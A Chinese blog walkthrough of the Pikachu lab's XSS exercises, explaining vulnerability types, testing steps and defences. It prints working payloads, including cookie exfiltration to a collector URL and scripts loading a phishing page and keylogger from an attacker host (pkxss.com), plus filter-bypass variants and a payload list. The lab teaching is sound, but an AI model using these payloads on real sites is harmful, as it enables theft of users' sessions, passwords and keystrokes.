当前位置:首页 » 《资源分享》 » 正文

Pikachu漏洞靶场系列之XSS_天璇X的博客

28 人参与  2021年09月23日 17:23  分类 : 《资源分享》  评论

点击全文阅读


文章目录

  • 概述
    • 跨站脚本漏洞常见类型
    • XSS漏洞的测试流程
  • 搭建XSS后台
  • 一、反射型XSS(Get)
    • 实验案例-获取Cookie
  • 二、反射型XSS(Post)
  • 三、存储型XSS
    • 实验案例-钓鱼攻击
    • 实验案例-键盘记录
      • 什么是跨域
      • 跨域-同源策略
      • 为什么要同源策略
  • 四、DOM型XSS
  • 五、DOM型XSS-X
  • 六、XSS之盲打
  • 七、XSS之过滤
      • 转换的思路
      • 编码的思路
  • XSS之htmlspecialchars
  • XSS常见防范措施
  • XSS之href输出
  • XSS之js输出
  • 总结
    • XSS常见Payload


概述

1、XSS就是攻击者在web页面插入恶意的Script代码,当用户浏览该页面时,嵌入其中的js代码会被执行,从而达到恶意攻击的目的。

2、XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户

3、Xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制

因此在XSS漏洞的防范上,一般会采用对输入进行过滤、和对输出进行转义的方式进行处理

跨站脚本漏洞常见类型

危害:存储>反射>dom型

反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得

存储型
交互的数据会被存在在数据库里面、永久性存储、一般出现在留言板、注册等页面

Dom型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题

Dom一种前端的接口、用户输入的数据通过dom进行相关的操作然后输出、不会跟后台进行交互

XSS漏洞的测试流程

1.在目标站点找到输入点,比如查询接口,注册,留言板等可以与页面交互的地方。

(建议别一上来就上各种xss的语句、而是我们可以先输入一些特殊字符(比如<>、单双引号等等)再加上一个唯一的数字组合、然后把它提交到后台、再看返回的源码里面、
通过这个唯一识别的字符找到返回的这个点、然后去做对应的观察看后端返回来的数据是否有做对应的处理

或者说我们提交的数据是否有被过滤掉、再或者它返回的数据是否有做对应的编码转义等等

2.开始手测,先输入一组"特殊字符+唯一的识别字符",点击提交后,看页面是否会对提交的内容进行处理(过滤和转义等)如果是原封不动的返回来,那么可能就存在xss了。

3.通过搜索到输入的唯一识别字符,在结合唯一字符的前后愈发来确认是否可以执行构造xss的条件(构造闭合),来插入要执行的代码。(可以通过查看页源代码来查看)

3.提交的脚本代码(以及各种绕过姿势),看是否可以执行成功,执行成功就说明有xss漏洞。

搭建XSS后台

1.在pikachu文件夹下面,把pkxss单独放在www下面
在这里插入图片描述2.修改配置文件 数据库服务器地址,账号,密码。
在这里插入图片描述3.安装
在这里插入图片描述4.安装成功在这里插入图片描述

小提示
phpstudy新建数据库会出现权限不足,直接用第一个root数据库的账号密码登录即可

一、反射型XSS(Get)

1、流程
输入时发现限制了输入字符长度,F12审查源码
,修改maxlength即可
在这里插入图片描述

输入特殊字符,检查是否有过滤
在这里插入图片描述

传递的参数直接存在页面代码中,而且没有过滤、构造Payload

<script>alert(xss)</script>

在这里插入图片描述

实验案例-获取Cookie

修改IP地址。打开Pikachu/pkxss/xcookie/post.html文件,因为这里是在本地演示,因此2个IP都修改为127.0.0.1

打开
在这里插入图片描述修改
在这里插入图片描述

先修改输入长度
在这里插入图片描述
输入框输入

<script> document.location = 'http://127.0.0.1/xcookie/cookie.php?cookie=' + document.cookie; </script>

注意!!!!http://127.0.0.1/xcookie/cookie.php
这里地址填IP加xcookie/cookie.php

这个是不会跳转的、错误的pkxss_cookie_result.php

可选择跳转到哪个页面
在这里插入图片描述

提交就会跳转
这里设置了跳转到的是pikachu的首页
在这里插入图片描述回到接收XSS的cookie值平台那个界面刷新得到cookie
在这里插入图片描述

二、反射型XSS(Post)

这里直接通过admin/123456登陆、然后构造Payload

<script>alert(2333)</script>

完成弹窗
在这里插入图片描述

三、存储型XSS

留言板将输入的内容写入到网页中, 并且存储到网站数据库, 假如遭受到恶意代码攻击, 那么受到的攻击将是持久化的
在这里插入图片描述我们试着在皮卡丘平台上的XSS上留言,看看是否有什么过滤机制

在这里插入图片描述
我们发现我们的留言会一直存在,而且从表现上我们输入的内容直接输出了、下面通过源码观察
在这里插入图片描述
我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理、下面输入下面的Payload进行测试

<script>alert(document.cookie)</script>

成功弹出cookie值
在这里插入图片描述

实验案例-钓鱼攻击

我们这里用一个Basic认证去做这个钓鱼攻击、我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时、这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部、这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码

首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,将IP地址改为攻击者的服务器地址
在这里插入图片描述 构造的Payload如下

<script src="http://www.pkxss.com/xfish/fish.php"></script>

当用户访问这个留言板时,会出现下面的认证框
在这里插入图片描述
从而盗取用户的账号密码

实验案例-键盘记录

什么是跨域

在这里插入图片描述 当协议、主机(主域名、子域名)、端口中的任意一个不同时,称为不同域

我们把不同域之间请求数据的操作,称为跨域操作

跨域-同源策略

为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定

两个不同域之间不能使用JS进行互相操作
在这里插入图片描述

比如 x.com 域名下的 JS 并不能操作 y.com 域下的对象
8080跟8081、www跟client、https跟http等是跨域不同源的

如果想要跨域操作,则需要管理员进行特殊配置
比如通过头里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

下面的标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的

<script src="...">,JS加载到本地执行
<img src="..">,图片
<link href="..">,CSS
<iframe src="..">,任意资源

为什么要同源策略

A登录了淘宝,攻击者向A发送了一个恶意链接http://盗取cookie
如果没有同源策略,url上的js恶意操作A的内容
有了同源策略,就限制了这种状况

或者,一个恶意站点A使用了 <iframe src="B站点登录界面"> ,发送该恶意 url 给受害者

如果受害者浏览器如果没有同源策略,那么 A 上的 JS 即可获取 B 站点的登录信息

实验
打开pikachu/pkxss/rkeypress/rk.js文件,将第54行语句并修改为黑客后台地址

在这里插入图片描述 rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用

这个文件可以记录用户的键盘操作,然后异步发送给攻击者

但是这个违背了同源策略,因为我们攻击者的机器和漏洞服务器的主机是不一样的

AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的

/var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码
在这里插入图片描述
我们可以用下面的Payload测试一下

<script src="http://www.pkxss.com/rkeypress/rk.js"></script>

提交之后打开控制台,看一下网络请求,我们在页面上随便输入一些东西,会有下面的提示
在这里插入图片描述 由于http://www.pkxss.com是攻击者自己搭建的平台,攻击者可以允许所有人来跨域请求,下面我们把刚刚注释的代码打开

这时候再在浏览器上输入东西,就没有任何提示了,我们也在一直向攻击者的服务器发送数据、攻击者也收集到了我们的击键信息

四、DOM型XSS

纯前端的操作、DOM:文档对象类型

在这里我们提到了DOM,那么什么是DOM呢?
DOM就是js可以通过DOM树来操纵HTML的接口,js通过DOM提供的方法对HTML标签进行修改,删除等操作,来改变页面布局。由于HTML是由于各种标签来构成的,所以j就可以通过修改标签来改造页面。

可以参考:https://www.w3school.com.cn/htmldom/index.asp
在这里插入图片描述
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

Dom的一个特征是在前端完成的、没有跟后台交互。都是在前端完成的、dom是一个前端的操作接口、 下面我们在皮卡丘平台上的DOM型XSS上测试一下

通过观察页面源码
在这里插入图片描述 这里有段JS代码,它通过 getElementById 获取到了标签 Idtext的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Iddomdiv 标签中

我们通过闭合的方式构造Payload

   ' οnclick="alert('xss')">
   '><img src="#" onmouseover="alert('xss')">

两条语句都行
在这里插入图片描述完成弹窗

造成DOM型XSS的原因
是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的

五、DOM型XSS-X

老套路,测试代码+页面源代码
在这里插入图片描述
这里也有个JS代码,它定义了一个domxss函数

它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str

然后经过URL解码和字符串分隔,取出URL中的参数内容

再把 “+” 替换为 “ ”(空格),赋值给 xss

最后把 xss 拼接到 a 标签中,然后写到 Iddomdiv 标签中

跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)、构造的Payload跟刚才是一样的

' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">

在这里插入图片描述

六、XSS之盲打

XSS盲打不是攻击类型,而是一个攻击场景
在这里插入图片描述在皮卡丘平台上,我们随便输入一些东西
在这里插入图片描述提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看

如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出

那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容

在这里插入图片描述
并登录后台管理界面(账号密码为admin,123456
在这里插入图片描述http://yunche.com/vul/xss/xssblind/admin.php
一登录进来就遭受了XSS攻击
在这里插入图片描述

七、XSS之过滤

实际中的系统,或多或少都会做一些安全措施,但是这些安全措施也能方法、逻辑不严谨,可以被绕过

转换的思路

前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
大小写,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
双写(拼凑),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
注释干扰,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

编码的思路

核心思路:

后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤
当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

编码应该在输出点被正常识别和翻译,不能随便使用编码。

例子:

<img src=x onerror=alert('xss')>
将alert('xss')进行URL编码,可以执行吗?
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行,因为属性标签并不会正常解析这些编码



<img src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;>

当它输出到前端的时候,浏览器会对这个编码进行翻译,从而弹窗

XSS绕过的姿势很多,取决于你的思路和对前端技术的掌握程度、我们在皮卡丘平台上,输入下面的内容
在这里插入图片描述

看一下后台会怎么处理

在这里插入图片描述可以看到我们输入的<script>标签被去掉了
尝试用大小写混合的方式看看能否绕过

<SCRIPT>alert(111)</sCRIpt>

在这里插入图片描述

这时候成功弹窗说明后端只对小写的script进行过滤

也可以用别的攻击Payload,后台可能没有做处理
<img src=x onerror=alert('xss')>

XSS之htmlspecialchars

关于htmlspecialchars()函数

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

& 成为 &amp
" 成为 &quot
' 成为 &#039
< 成为 &lt
> 成为 &gt

可用引号类型

ENT_COMPAT:默认,仅编码双引号
ENT_QUOTES:编码双引号和单引号
ENT_NOQUOTES:不编码任何引号

我们在皮卡丘平台上输入下面的内容,"'&2333?#
在这里插入图片描述

看一下后端是怎么处理的
在这里插入图片描述 可以看到 “ " ”,“ > ”“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用

我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href中的单引号

' οnclick=alert(2333) '

在这里插入图片描述

XSS常见防范措施

总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义

XSS之href输出

在这里插入图片描述
看一下xss_03.php的源码
在这里插入图片描述

这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理使用伪协议

这个函数转义单引号、双引号和左右尖括号

然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS

构造Payload如下,没有上面被转义的字符

使用了伪协议

          javascript:alert(111)

此时点击我们的标签就会出现弹窗
在这里插入图片描述
提交后查看源码、我们的输入在 a 标签的 href属性中
在这里插入图片描述

如果要对 href 做处理,一般有两个逻辑:

输入的时候只允许 http 或 https 开头的协议,才允许输出
其次再进行htmlspecialchars处理

XSS之js输出

我们随便输入一些东西

在这里插入图片描述

然后查看一下页面源码
在这里插入图片描述
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码

'</script><script>alert('xss')</script>

在这里插入图片描述

这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码

JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话

在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS

所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义

总结

漏洞利用

GET方式:可以通过直接构造URL来诱导用户点击,一般需要会转换成短连接

POST方式:黑客通过伪造一个表单自动提交的页面,当用户访问页面时触发表单,页面JS自动POST表单数据到存在POST型XSS漏洞的网站,并将Cookie返回到黑客后台,黑客通过Cookie伪装成用户登录并造成危害。

XSS常见Payload

<script>alert("xss")</script> 弹窗
<script>alert(document.cookie)</script> 弹cookie
<a href=javascript:alert(111)> 伪协议
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">

点击全文阅读


本文链接:http://zhangshiyu.com/post/28436.html

输入  输出  转义  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1